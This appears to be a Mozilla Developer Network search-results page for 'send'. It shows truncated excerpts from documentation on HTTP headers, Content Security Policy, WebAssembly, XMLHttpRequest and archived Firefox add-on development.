send us a pull request. the above example demonstrates a number of features of <textarea>: an id attribute to allow the <textarea> to be associated with a <label> element for accessibility purposes a name attribute to set the name of the associated data point submitted to the server when the form is submitted. rows and cols attributes to allow you to specify an exact size for the <textarea> to t...
... html5the definition of '<textarea>' in that specification. recommendation html 4.01 specificationthe definition of '<textarea>' in that specification. recommendation browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettextareachrome full support yesedge full support 12firefox full support yesnotes ...
HTTP caching - HTTP
irectives for caching mechanisms in both requests and responses. use this header to define your caching policies with the variety of directives it provides. no caching the cache should not store anything about the client request or server response. a request is sent to the server and a full response is downloaded each and every time. cache-control: no-store cache but revalidate a cache will
send the request to the origin server for validation before releasing a cached copy. cache-control: no-cache private and public caches the "public" directive indicates that the response may be cached by any cache. this can be useful if pages with http authentication, or response status codes that aren't normally cacheable, should now be cached. on the other hand, "private" indicates that the respo...
...resource is fresh; after the expiration time, the resource is stale. eviction algorithms often privilege fresh resources over stale resources. note that a stale resource is not evicted or ignored; when the cache receives a request for a stale resource, it forwards this request with a if-none-match to check if it is in fact still fresh. if so, the server returns a 304 (not modified) header without
sending the body of the requested resource, saving some bandwidth. here is an example of this process with a shared cache proxy: the freshness lifetime is calculated based on several headers. if a "cache-control: max-age=n" header is specified, then the freshness lifetime is equal to n. if this header is not present, which is very often the case, it is checked if an expires header is present. if a...
Accept-Charset - HTTP
the accept-charset request http header advertises which character encodings the client understands. using content negotiation, the server selects one of the encodings, uses it, and informs the client of its choice within the content-type response header, usually in a charset= parameter. browsers usually don't
send this header, as the default value for each resource is usually correct and transmitting it would allow fingerprinting. if the server cannot serve any character encoding from this request header, it can theoretically
send back a 406 not acceptable error code. but for a better user experience, this is rarely done and the accept-charset header is ignored. in early versions of http/1.1, a default character encoding was defined: iso-8859-1. this is no longer recommended, and now each ...
...cter encoding was defined: iso-8859-1. this is no longer recommended, and now each content-type may have its own default. utf-8 is now well-supported and the overwhelmingly preferred character encoding. to guarantee better privacy through less configuration-based entropy, all browsers omit the accept-charset header: internet explorer 8+, safari 5+, opera 11+, firefox 10+ and chrome 27+ no longer
send it. header type request header forbidden header name yes syntax accept-charset: <charset> // multiple types, weighted with the quality value syntax: accept-charset: utf-8, iso-8859-1;q=0.5 directives <charset> a character encoding name, like utf-8 or iso-8859-15. * any charset not mentioned elsewhere in the header; * is used as a wildcard. ;q=<weight> a...
Cache-Control - HTTP
that once a resource becomes stale, caches must not use their stale copy without successful validation on the origin server. proxy-revalidate like must-revalidate, but only for shared caches (e.g., proxies). ignored by private caches. immutable indicates that the response body will not change over time. the resource, if unexpired, is unchanged on the server and therefore the client should not
send a conditional revalidation for it (e.g. if-none-match or if-modified-since) to check for updates, even when the user explicitly refreshes the page. clients that aren't aware of this extension must ignore them as per the http specification. in firefox, immutable is only honored on https:// transactions. for more information, see also this blog post. other no-transform an intermediate cache o...
...on. only-if-cached set by the client to indicate "do not use the network" for the response. the cache should either respond using a stored response, or respond with a 504 status code. conditional headers such as if-none-match should not be set. there is no effect if only-if-cached is set by a server as part of a response. examples preventing caching to disable caching of a resource, you can
send the following response header: good: cache-control: no-store bad: cache-control: private,no-cache,no-store,max-age=0,must-revalidate,pre-check=0,post-check=0 caching static assets for the files in the application that will not change, you can usually add aggressive caching by
sending the response header below. this includes static files that are served by the application such as ...
Content-Location - HTTP
post! i made this through `example.com`'s api. i hope it worked. the site returns a generic success message confirming the post was published. ...
... worked. the site returns a generic success message confirming the post was published. the server specifies where the new post is with content-location: http/1.1 201 created content-type: text/plain; charset=utf-8 content-location: /my-first-blog-post ✅ success! indicating the url of a transaction's result say you have a <form> for
sending money to another user of a site. <form action="/
send-payment" method="post"> <p> <label>who do you want to
send the money to? <input type="text" name="recipient"> </label> </p> <p> <label>how much? <input type="number" name="amount"> </label> </p> <button type="submit">
send money</button> </form> when the form is submitted, the site generates a receipt for the transaction. the server could use content-locat...
CSP: connect-src - HTTP
note: connect-src 'self' does not resolve to websocket schemas in all browsers, more info: https://github.com/w3c/webappsec-csp/issues/7 csp version 1 directive type fetch directive default-src fallback yes. ...
...is applied only to inline scripts. csp 3.0 allows it in the case of script-src for external scripts. examples violation cases given this csp header: content-security-policy: connect-src https://example.com/ the following connections are blocked and won't load: <a ping="https://not-example.com"> <script> var xhr = new xmlhttprequest(); xhr.open('get', 'https://not-example.com/'); xhr.
send(); var ws = new websocket("https://not-example.com/"); var es = new eventsource("https://not-example.com/"); navigator.
sendbeacon("https://not-example.com/", { ... }); </script> specifications specification status comment content security policy level 3the definition of 'connect-src' in that specification. working draft no changes. content sec...
CSP: referrer - HTTP
one of the following values: "no-referrer" the referer header will be omitted entirely. no referrer information is sent along with requests. "none-when-downgrade" this is the user agent's default behavior if no policy is specified. the origin is sent as referrer to a-priori as-much-secure destination (https->https), but isn't sent to a less secure destination (https->http). ...
...ation is sent along with requests. "none-when-downgrade" this is the user agent's default behavior if no policy is specified. the origin is sent as referrer to a-priori as-much-secure destination (https->https), but isn't sent to a less secure destination (https->http). "origin" only
send the origin of the document as the referrer in all cases. the document https://example.com/page.html will
send the referrer https://example.com/. "origin-when-cross-origin" / "origin-when-crossorigin"
send a full url when performing a same-origin request, but only
send the origin of the document for other cases. "unsafe-url"
send a full url (stripped from parameters) when performing a same-origin or cross-origin request. this policy will leak origins and paths from tls-protected resources to insecure ...
CSP: report-uri - HTTP
where to post the report to. examples see content-security-policy-report-only for more information and examples. content-security-policy: default-src https:; report-uri /csp-violation-report-endpoint/ /csp-violation-report-endpoint/ could for example run a php something like the following that logs the json detailing the violation and, if the violation is the first one added to the log file,
sends an email to an administrator: <?php // start configure $log_file = dirname(__file__) . '/csp-violations.log'; $log_file_size_limit = 1000000; // bytes - once exceeded no further entries are added $email_address = 'admin@example.com'; $email_subject = 'content-security-policy violation'; // end configuration $current_domain = preg_replace('/www\./i', '', $_server['server_name']); $email_subjec...
...er_name']); $email_subject = $email_subject . ' on ' . $current_domain; http_response_code(204); // http 204 no content $json_data = file_get_contents('php://input'); // we pretty print the json before adding it to the log file if ($json_data = json_decode($json_data)) { $json_data = json_encode($json_data, json_pretty_print | json_unescaped_slashes); if (!file_exists($log_file)) { //
send an email $message = "the following content-security-policy violation occurred on " . $current_domain . ":\n\n" . $json_data . "\n\nfurther cps violations will be logged to the following log file, but no further email notifications will be sent until this log file is deleted:\n\n" . $log_file; mail($email_address, $email_subject, $message, 'content-type: te...
Device-Memory - HTTP
the device-memory header is a device memory api header that works like client hints header which represents the approximate amount of ram client device has. header type request header forbidden header name ? note: client hints are accessible only on secure origins (via tls). ...
...ient by
sending accept-ch and accept-ch-lifetime response headers. syntax the amount of device ram can be used as a fingerprinting variable, so values for the header are intentionally coarse to reduce the potential for its misuse. the header takes on the following values: 0.25, 0.5, 1, 2, 4, 8. device-memory: <number> examples server first needs to opt in to receive device-memory header by
sending the response headers accept-ch containing device-memory and accept-ch-lifetime. accept-ch: device-memory accept-ch-lifetime: 86400 then on subsequent requests the client might
send device-memory header back: device-memory: 1 specifications specification status comment device memory 1the definition of 'device-memory' in that specification. editor's draft ini...
Range - HTTP
if the ranges are invalid, the server returns the 416 range not satisfiable error. the server can also ignore the range header and return the whole document with a 200 status code. ...
...if the ranges are invalid, the server returns the 416 range not satisfiable error. the server can also ignore the range header and return the whole document with a 200 status code. ...
Want-Digest - HTTP
the want-digest http header is primarily used in a http request, to ask the responder to provide a digest of the requested resource using the digest response header. the header contains identifiers for one or more digest algorithms that the
sender wishes the responder to use to create the digest. the
sender may use quality values to indicate its preference ordering among the choices it offers. if want-digest does not include any digest algorithms that the server supports, the server may respond with: a digest calculated using a different digest algorithm, or a 400 bad request error, and include another want-digest header with that response, listing the algorithms that it does support. see the page for the digest header for more information. header type general header ...
... defined in rfc 3230 and rfc 5843, and include sha-256 and sha-512. some of the supported algorithms, including unixsum and md5 are subject to collisions and are thus not suitable for applications in which collision-resistance is important. <q-value> the quality value to apply to that option. ...
Link prefetching FAQ - HTTP
date a prefetched document when the user follows a href to the prefetched document by specifying the cache-control: must-revalidate http response header. this header enables caching, but requires an if-modified-since or if-none-match validation request before the serving the document out of the browser's cache. as a server admin, can i distinguish prefetch requests from normal requests? yes, we
send the following header along with each prefetch request: x-moz: prefetch of course, this request header is not at all standardized, and it may change in future mozilla releases. chrome uses "x-purpose: prefetch" or "purpose: prefetch" header. is there a preference to disable link prefetching? yes, there is a hidden preference that you can set to disable link prefetching. add this line to your p...
...fetching will generally cause the cookies of the prefetched site to be accessed. (for example, if you google amazon, the google results page will prefetch www.amazon.com, causing amazon cookies to be sent back and forth. you can block 3rd party cookies in firefox, see disabling third party cookies.) what about...? if you have any questions or comments about link prefetching, please feel free to
send them my way :-) see also... prefetching hints original document information author(s): darin fisher (darin at meer dot net) last updated date: updated: march 3, 2003 ...
HTTP Messages - HTTP
y the client to initiate an action on the server. their start-line contain three elements: an http method, a verb (like get, put or post) or a noun (like head or options), that describes the action to be performed. for example, get indicates that a resource should be fetched or post means that data is pushed to the server (creating or modifying a resource, or generating a temporary document to
send back). the request target, usually a url, or the absolute path of the protocol, port, and domain are usually characterized by the request context. the format of this request target varies between different http methods. it can be an absolute path, ultimately followed by a '?' and query string. this is the most common form, known as the origin form, and is used with get, post, head, and opt...
...rer), or by conditionally restricting it (like if-none). entity headers, like content-length which apply to the body of the request. obviously, there is no such header transmitted if there is no body in the request. body the final part of the request is its body. not all requests have one: requests fetching resources, like get, head, delete, or options, usually don't need one. some requests
send data to the server in order to update it: as often the case with post requests (containing html form data). bodies can be broadly divided into two categories: single-resource bodies, consisting of one single file, defined by the two headers: content-type and content-length. multiple-resource bodies, consisting of a multipart body, each containing a different bit of information. this is typic...
PUT - HTTP
http/1.1 204 no co...
...rent representation and the put request successfully creates one, then the origin server must inform the user agent by
sending a 201 (created) response. http/1.1 201 created content-location: /new.html if the target resource does have a current representation and that representation is successfully modified in accordance with the state of the enclosed representation, then the origin server must
send either a 200 (ok) or a 204 (no content) response to indicate successful completion of the request. http/1.1 204 no content content-location: /existing.html specifications specification title rfc 7231, section 4.3.4: put hypertext transfer protocol (http/1.1): semantics and content ...
Network Error Logging - HTTP
. reports are sent to a reporting group defined within a report-to header. usage web applications opt in to this behaviour with the nel header, which is a json-encoded object: nel: { "report_to": "nel", "max_age": 31556952 } an origin considered secure by the browser is required. the following object keys can be specified in the nel header: report_to the reporting api group to
send network error reports to (see below). max_age specifies the lifetime of the policy, in seconds (in a similar way to e.g. hsts policies are time-restricted). the referenced reporting group should have a lifetime at least as long as the nel policy. include_subdomains if true, the policy applies to all subdomains under the origin that the policy header is set. the reporting group should also b...
... dns.failed request to the dns server failed due to reasons not covered by previous errors (e.g. servfail) dns.address_changed for security reasons, if the server ip address that delivered the orig...
Protocol upgrade mechanism - HTTP
nnection: upgrade upgrade: example/1, foo/2 other headers may be required depending on the requested protocol; for example, websocket upgrades allow additional headers to configure details about the websocket connection as well as to offer a degree of security in opening the connection. see upgrading to a websocket connection for more details. ...
...onnection as well as to offer a degree of security in opening the connection. see upgrading to a websocket connection for more details. if the server decides to upgrade the connection, it
sends back a 101 switching protocols response status with an upgrade header that specifies the protocol(s) being switched to. if it does not (or cannot) upgrade the connection, it ignores the upgrade header and
sends back a regular response (for example, a 200 ok). right after
sending the 101 status code, the server can begin speaking the new protocol, performing any additional protocol-specific handshakes as necessary. effectively, the connection becomes a two-way pipe as soon as the upgraded response is complete, and the request that initiated the upgrade can be completed over the new protocol. common us...
HTTP Public Key Pinning (HPKP) - HTTP
is a reasonable time limit according to the ietf rfc. this key pinning is also valid for all subdomains, which is told by the includesubdomains declaration. finally, report-uri="https://www.example.net/hpkp-report" explains where to report pin validation failures. report-only header instead of using a public-key-pins header you can also use a public-key-pins-report-only header. this header only
sends reports to the report-uri specified in the header and does still allow browsers to connect to the webserver even if the pinning is violated. setting up your webserver to include the hpkp header the concrete steps necessary to deliver the hpkp header depend on the web server you use. note: these examples use a max-age of two months and include all subdomains. it is advised to verify that this...
...s) will enable hpkp on lighttpd. setenv.add-response-header = ( "public-key-pins" => "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includesubdomains") note: this requires the mod_setenv server.module loaded which can be included by the following if not already loaded. server.modules += ( "mod_setenv" ) iis add the following line to the web.config file to
send the public-key-pins header: <system.webserver> ... <httpprotocol> <customheaders> <add name="public-key-pins" value="pin-sha256="base64+primary=="; pin-sha256="base64+backup=="; max-age=5184000; includesubdomains" /> </customheaders> </httpprotocol> ... </system.webserver> specifications specification title rfc 7469, section...
Generator.prototype.next() - JavaScript
the value will be assigned as a result of a yield expression. for example, in variable = yield expression, the value passed to the .next() function will be assigned to variable. return value an object with two properties: done (boolean) has the value true if the iterator is past the end of the iterated sequence. in this case value optionally specifies the return value of the iterator. ...
... note that the first call does not log anything, because the generator was not yielding anything initially. function* gen() { while (true) { let value = yield null; console.log(value); } } const g = gen(); g.next(1); // "{ value: null, done: false }" g.next(2); // 2 // "{ value: null, done: false }" specific...
Promise() constructor - JavaScript
syntax new promise(executor) parameters executor a function to be executed by the constructor, during the process of constructing the promiseobj. ...
... ...
WebAssembly.Module.exports() - JavaScript
rn value an array containing objects representing the exported functions of the given module. exceptions if module is not a webassembly.module object instance, a typeerror is thrown. examples using exports the following example (see our index-compile.html demo on github, and view it live also) compiles the loaded simple.wasm byte code using the webassembly.compilestreaming() method and then
sends it to a worker using postmessage(). var worker = new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread. when the module is received, we create an instance from it using ...
...ke this: { name: "exported_func", kind: "function" } specifications specification webassembly javascript interfacethe definition of 'exports()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsexportschrome full support 57edge full support 16firefox full support 52not...
WebAssembly.Module - JavaScript
embly.module.customsections() given a module and string, returns a copy of the contents of all custom sections in the module with the given string name. webassembly.module.exports() given a module, returns an array containing descriptions of all the declared exports. webassembly.module.imports() given a module, returns an array containing descriptions of all the declared imports. examples
sending a compiled module to a worker the following example (see our index-compile.html demo on github, and view it live also) compiles the loaded simple.wasm byte code using the webassembly.compilestreaming() method and then
sends the resulting module instance to a worker using postmessage(). var worker = new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod =>...
...instance.exports.exported_func(); }); }; specifications specification webassembly javascript interfacethe definition of 'webassembly.module()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsmodulechrome full support 57edge full support 16firefox full support 52note...
WebAssembly.compile() - JavaScript
t to compile. return value a promise that resolves to a webassembly.module object representing the compiled module. exceptions if buffersource is not a typed array, a typeerror is thrown. if compilation fails, the promise rejects with a webassembly.compileerror. examples using compile the following example compiles the loaded simple.wasm byte code using the compile() function and then
sends it to a worker using postmessage(). var worker = new worker("wasm_worker.js"); fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => webassembly.compile(bytes) ).then(mod => worker.postmessage(mod) ); note: you'll probably want to use webassembly.compilestreaming() in most cases, as it is more efficient than compile(). specifications specification ...
... most cases, as it is more efficient than compile(). specifications specification webassembly javascript interfacethe definition of 'compile()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscompilechrome full support 57edge full support 16firefox full support 52not...
WebAssembly.instantiate() - JavaScript
embly.instantiate(bytes, importobject) ).then(result => result.instance.exports.exported_func() ); note: you can also find this example at index.html on github (view it live also). second overload example the following example (see our index-compile.html demo on github, and view it live also) compiles the loaded simple.wasm byte code using the webassembly.compilestreaming() method and then
sends it to a worker using postmessage(). var worker = new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread. when the module is received, we create an instance from it using ...
...) { instance.exports.exported_func(); }); }; specifications specification webassembly javascript interfacethe definition of 'instantiate()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsinstantiatechrome full support 57edge full support 16firefox full support 5...
Optimizing startup performance - Web Performance
can easily be made to operate asynchronously (by running each main loop iteration separately); startup is often just a continuous, monolithic procedure that might periodically update a progress meter. while you can use web workers to run even very large, long-duration chunks of javascript code asynchronously, there's a huge caveat that: workers don't have access to webgl or audio, and they can't
send synchronous messages to the main thread, so you can't even proxy those apis to the main thread. this all means that unless you can easily pull out the "pure calculation" chunks of your startup process into workers, you'll wind up having to run most or all of your startup code on the main thread. however, even code like that can be made asynchronous, with a little work. getting asynchronous her...
...ot. in addition, the browser may automatically parallelize these decoders. any data processing that can be done in parallel should be. don't do one chunk of data after another; do them all at once when possible! don't include scripts or stylesheets that don't participate in the critical path in your startup html file. load them only when needed. reduce the side of your javascript files. try to
send the minify version of the file to the browser and use compression like gzip or brotli. utilize resource hints (like preconnect or preload) whenever possible to indicate to the browser which files are more critical for your application. the more stuff you can do asynchronously, the better advantage your app can take of multicore processors. porting issues once the initial loading is done and ...
Transport Layer Security - Web security
ll of the basic capabilities as previous versions of tls. for the web, tls 1.3 can be enabled without affecting compatibility with some rare exceptions (see below). the major changes in tls 1.3 are: the tls 1.3 handshake completes in one round trip in most cases, reducing handshake latency. a server can enable a 0-rtt (zero round trip time) handshake. clients that reconnect to the server can
send requests immediately, eliminating the latency of the tls handshake entirely. though the performance gains from 0-rtt can be significant, they come with some risk of replay attack, so some care is needed before enabling this feature. tls 1.3 supports forward-secure modes only, unless the connection is resumed or it uses a pre-shared key. tls 1.3 defines a new set of cipher suites that are exclus...
...are exclusive to tls 1.3. these cipher suites all use modern authenticated encryption with associated data (aead) algorithms. the tls 1.3 handshake is encrypted, except for the messages that are necessary to establish a shared secret. in particular, this means that server and client certificates are encrypted. note however that the server identity (the server_name or sni extension) that a client
sends to the server is not encrypted. numerous mechanisms have been disabled: renegotiation, generic data compression, digital signature algorithm (dsa) certificates, static rsa key exchange, and key exchange with custom diffie-hellman (dh) groups. implementations of draft versions of tls 1.3 are available. tls 1.3 is enabled in some browsers, including the 0-rtt mode. web servers that enable tls 1...
Basic Example - XSLT: Extensible Stylesheet Language Transformations
ldoc, document)). this allows fetching of data after the page has been loaded, without initiating a fresh page load. ...
...example1.xsl var myxmlhttprequest = new xmlhttprequest(); myxmlhttprequest.open("get", "example1.xsl", false); myxmlhttprequest.
send(null); xslstylesheet = myxmlhttprequest.responsexml; xsltprocessor.importstylesheet(xslstylesheet); // load the xml file, example1.xml myxmlhttprequest = new xmlhttprequest(); myxmlhttprequest.open("get", "example1.xml", false); myxmlhttprequest.
send(null); xmldoc = myxmlhttprequest.responsexml; var fragment = xsltprocessor.transformtofragment(xmldoc, document); document.getelementbyid("example").innerhtml = ""; mydom = fragment; document.getelementbyid("example").appendchild(fragment); } ...
Loading and running WebAssembly code - WebAssembly
er than fetch, but can still be happily used to get a typed array. again, assuming our module is called simple.wasm: create a new xmlhttprequest() instance, and use its open() method to open a request, setting the request method to get, and declaring the path to the file we want to fetch. the key part of this is to set the response type to 'arraybuffer' using the responsetype property. next,
send the request using xmlhttprequest.
send(). we then use the onload event handler to invoke a function when the response has finished downloading — in this function we get the array buffer from the response property, and then feed that into our webassembly.instantiate() method as we did with fetch. the final code looks like this: request = new xmlhttprequest(); request.open('get', 'simple.wasm'...
...n use the onload event handler to invoke a function when the response has finished downloading — in this function we get the array buffer from the response property, and then feed that into our webassembly.instantiate() method as we did with fetch. the final code looks like this: request = new xmlhttprequest(); request.open('get', 'simple.wasm'); request.responsetype = 'arraybuffer'; request.
send(); request.onload = function() { var bytes = request.response; webassembly.instantiate(bytes, importobject).then(results => { results.instance.exports.exported_func(); }); }; note: you can see an example of this in action in xhr-wasm.html. ...
Reddit Example - Archive of obsolete content
ates a panel containing the mobile version of reddit. when the user clicks on the title of a story in the panel, the add-on opens the linked story in a new tab in the main browser window. to accomplish this the add-on needs to run a content script in the context of the reddit page which intercepts mouse clicks on each title link and fetches the link's target url. the content script then needs to
send the url to the add-on script. this is the complete add-on script: var data = require("sdk/self").data; var button = require("sdk/ui/button/action").actionbutton({ id: "reddit-panel", label: "reddit panel", icon: "./icon-16.png", onclick: function() { reddit_panel.show(); } }); var reddit_panel = require("sdk/panel").panel({ width: 240, height: 320, contenturl: "http://www.
Porting the Library Detector - Archive of obsolete content
w(tab); }); tabs.on('ready', function(tab) { tab.libraries = []; }); showing the library detail the xul library detector displayed the detailed information about each library on mouseover in a tooltip: we can't do this using a widget, so instead will use a panel. ...
Working with Events - Archive of obsolete content
define your own events and use them to communicate between the main add-on code and the content scripts. in this case one end of the conversation emits the events, and the other end listens to them. so there are two main ways you will interact with the eventemitter framework: listening to built-in events emitted by objects in the sdk, such as tabs opening, pages loading, mouse clicks
sending and receiving user-defined events between content scripts and add-on code this guide only covers the first of these; the second is explained in the working with content scripts guide. adding listeners you can add a listener to an event emitter by calling its on(type, listener) method. it takes two parameters: type: the type of event we are interested in, identified by a string. ma...
XUL Migration Guide - Archive of obsolete content
es xpcom objects, code that manipulates the browser chrome, and code that interacts with web pages all runs in the same context. but the sdk makes a distinction between: add-on scripts, which can use the sdk apis, but are not able to interact with web pages content scripts, which can access web pages, but do not have access to the sdk's apis content scripts and add-on scripts communicate by
sending each other json messages: in fact, the ability to communicate with the add-on scripts is the only extra privilege a content script is granted over a normal remote web page script. a xul-based add-on will need to be reorganized to respect this distinction. the main reason for this design is security: it reduces the risk that a malicious web page will be able to access privileged apis. there'...
content/worker - Archive of obsolete content
er worker is composed from the eventemitter trait, therefore instances of worker and their descendants expose all the public properties exposed by eventemitter along with additional public properties that are listed below. methods postmessage(data) asynchronously emits "message" events in the enclosed worker, where content script was loaded. parameters data : number,string,json the data to
send. must be stringifiable to json. destroy() destroy the worker by removing the content script from the page and removing all registered listeners. a detach event is fired just before removal. properties port object that allows you to:
send customized messages to the worker using the port.emit function receive events from the worker using the port.on function url the url of the content. ...
core/promise - Archive of obsolete content
note: a promise can be rejected or resolved only once. all subsequent attempts to either reject it or resolve it will be ignored. another simple example may be a delay function that returns a promise which is fulfilled with a gi...
system/events - Archive of obsolete content
e. you can find a list of events dispatched by the firefox codebase here. var events = require("sdk/system/events"); var { ci } = require("chrome"); function listener(event) { var channel = event.subject.queryinterface(ci.nsihttpchannel); channel.setrequestheader("user-agent", "mybrowser/1.0", false); } events.on("http-on-modify-request", listener); globals functions emit(type, event)
send an event to observer service parameters type : string the event type. event : object an optional object with data and subject attributes. data refers to a string that you would like to pass through this event. subject should refer to the actual actor/subject of this event (ie: the object emitting the event). on(type, listener, strong) listen to events of a given type parameters type : st...
Implementing the widget - Archive of obsolete content
lex widget try the toolbar or sidebar apis. we want the widget to do two things: on a left-click, the widget should activate or deactivate the annotator. on a right-click, the widget should display a list of all the annotations the user has created. because the widget's click event does not distinguish left and right mouse clicks, we'll use a content script to capture the click events and
send the corresponding message back to our add-on. the widget will have two icons: one to display when it's active, one to display when it's inactive. so there are three files we'll need to create: the widget's content script and its two icons. inside the data subdirectory create another subdirectory widget. we'll keep the widget's files here. this hierarchy isn't mandatory; you could just keep the...
Bootstrapped extensions - Archive of obsolete content
eference general.useragent.locale to en-us and then to en-gb and then reload the open pages to see the localization change. further reading how to convert an overlay extension to restartless a step by step guide. some code samples are provided. the page is based on and expanded from dave garrett's step-by-step guide to convert an old overlay based extension into a restartless addon. dave town
send provides a basic code base to load ui for each opened window in a bootstrapped extension. mark finkle provides some simple example code for restartless add-ons in mobile firefox, adding resources (like the options window) to bootstrapped extensions and using default preferences without a default/preferences/prefs.js file. kris maglione writes about the requirements for the cleanup procedures in...
HTML to DOM - Archive of obsolete content
rame whose type is content (not chrome). see using a hidden iframe element to parse html to a window's dom below. parsing complete html to dom loading an html document seems much simpler if it's loaded using the xmlhttprequest object. ...
Post data to window - Archive of obsolete content
need more elaborate examples, examples of displaying the response in a new tab, in background tabs, and a link to using xmlhttprequest for post requests. preprocessing post data the apostdata argument of the (global) loaduri(), opendialog(), and (tab)browser.loaduriwithflags() methods expects the post data in the form of an nsiinputstream (because they eventually call nsiwebnavigation.loaduri()) while post data can be created using nsimimeinputstream. most of the time, post data starts as a data string in the form of "name1=data1&name2=data2&...", so you must convert it before passing the data to one of the methods. ...
Rosetta - Archive of obsolete content
getsource(oscript) : createscript(oscript); } } function parsedocument () { for ( var ascripts = document.getelementsbytagname("script"), nidx = 0; nidx < ascripts.lengt...
JavaScript Daemons Management - Archive of obsolete content
daemon.js: both the daemon-safe.js module and the daemon-methods.js module require daemon.js to work. for a fast overview on the code proposed here you can git clone https://github.com/madmurphy/daemon.js.git. or, at your choice, directly download this .zip file. about the “callback arguments” polyfill in order to make this framework compatible with internet explorer (which doesn't support
sending additional parameters to timers' callback function, neither with settimeout() or setinterval()) we included the ie-specific compatibility code (commented code), which enables the html5 standard parameters' passage functionality in that browser for both timers (polyfill), at the end of the daemon.js module. daemon.js what follows is the module that declares the daemon constructor (the core of...
Displaying web content in an extension without security issues - Archive of obsolete content
them) and consequently no privileges. so in the simplest case you would have: <iframe type="content" src="data:text/html,%3chtml%3e%3cbody%3e%3c/body%3e%3c/html%3e"/> but usually you don’t want to start with an empty document, you would rather want to load some template into the frame: var request = new xmlhttprequest(); request.open("get", "chrome://foo/content/template.html", false); request.
send(null); frame.setattribute("src", "data:text/html," + encodeuricomponent(request.responsetext)); that way you can have the template in your extension but still strip it off all privileges when it is loaded in a frame. restricting what documents that contain untrusted data can do there are several restrictions that can be applied per frame. here it is most important to disable javascript and plugi...
Listening to events in Firefox extensions - Archive of obsolete content
n internal object to receive all web progress events from the browser. this is created by the method mtabprogresslistener(). this receives events from the browser-status-filter. the filter acts to reduce the number of status and progress events to improve performance. the filters are held in the array mfilters, the internal listeners in the array mtablisteners. the internal listeners are used to
send out progress events to listeners registered with addprogresslistener() (which receives events from the browser that is currently visible) and addtabsprogresslistener() (which receives events from all browsers). ...
Adding windows and dialogs - Archive of obsolete content
pen modal windows at startup. resizable. indicates the user can resize the window or not. in general, windows should not be resizable unless they display dynamically generated content from a datasource, such as lists or trees that may need resizing to have a better view of the content. to open a new dialog, use the function window.opendialog, an extension of the open function. it allows you to
send a set of optional parameters that can be used to communicate with the dialog. let somevalue = 2; let returnvalue = { accepted : false , result : "" }; window.opendialog( "chrome://xulschoolhello/content/somedialog.xul", "xulschoolhello-some-dialog", "chrome,centerscreen", somevalue, returnvalue); // you can
send as many extra parameters as you need. // if (returnvalue.accepted) { do st...
JavaScript Object Management - Archive of obsolete content
e than enough to let the window finish its load. use window.settimeout and window.setinterval to control timed code execution. in case you're using javascript code modules or xpcom objects, where a window object is not readily available, use an nsitimer instead. this post suggests a way to achieve a true zero ms timeout, as a simple way to achieve parallelism in js code. notice the way we
send callback functions as parameters, and the use of an alternate reference for this which we always name that. this is all necessary due to a javascript feature (quirk would be a better word for it) called method binding. the consequence of doing this wrong is to have a this reference that doesn't do what you expected it to do. there are a few workarounds for this, and we use the ones we have found ...
Security best practices in extensions - Archive of obsolete content
le, if you load a chrome url, this means the content has been registered with firefox and has full access. content from a domain (such as http://www.example.com) can only access that same domain. files loaded using the file protocol can access files on the user's disk and other local devices. there are ways to get around the content/chrome security barrier, if for example, you want a web page to
send a notification to the add-on (or vice versa). one way to do this is to use custom dom events; see interaction between privileged and non-privileged pages. regardless of where the document comes from, you can further restrict what it can do by applying properties to the document holder, known as the docshell. frame.docshell.allowimages = false; frame.docshell.allowjavascript = false; frame.doc...
Setting up an extension development environment - Archive of obsolete content
veloper" submenu of the "tools" menu. the browser debugger can be used to debug the javascript code of extensions. the devtools.chrome.enabled preference must also be set to true for the browser debugger to be enabled. devtools.debugger.prompt-connection = false. this prevents the browser debugger from prompting for connection permission every time. extensions.logging.enabled = true. this will
send more detailed information about installation and update problems to the error console. (note that the extension manager automatically restarts the application at startup sometimes, which may mean you won't have time to see the messages logged before the automatic restart happens. to see them, prevent the automatic restart by setting the environment no_em_restart to 1 before starting the applicati...
Supporting search suggestions in search plugins - Archive of obsolete content
suggestion support on the server the majority of the work in handling search suggestions is actually implemented on the server side. if you're a web site designer, and want to support search suggestions, you need to implement support for returning the suggestions in javascript object notation (json) given a search term. when the browser wants to fetch possible matches for a search term, it then
sends an http get request to the url specified by the <url> element. your server should then decide upon the suggestions to offer using whatever means it sees fit, and return a json array of results: query string the first element in the array is the original query string. this allows firefox to verify that the suggestions match the current search term. completion list an array of suggested ...
Add-ons - Archive of obsolete content
firefox or thunderbird) uses to determine information about an add-on as it is being installed. it contains metadata identifying the add-on, providing information about who created it, where more information can be found about it, which versions of what applications it is compatible with, how it should be updated, and so on. interaction between privileged and non-privileged pages an easy way to
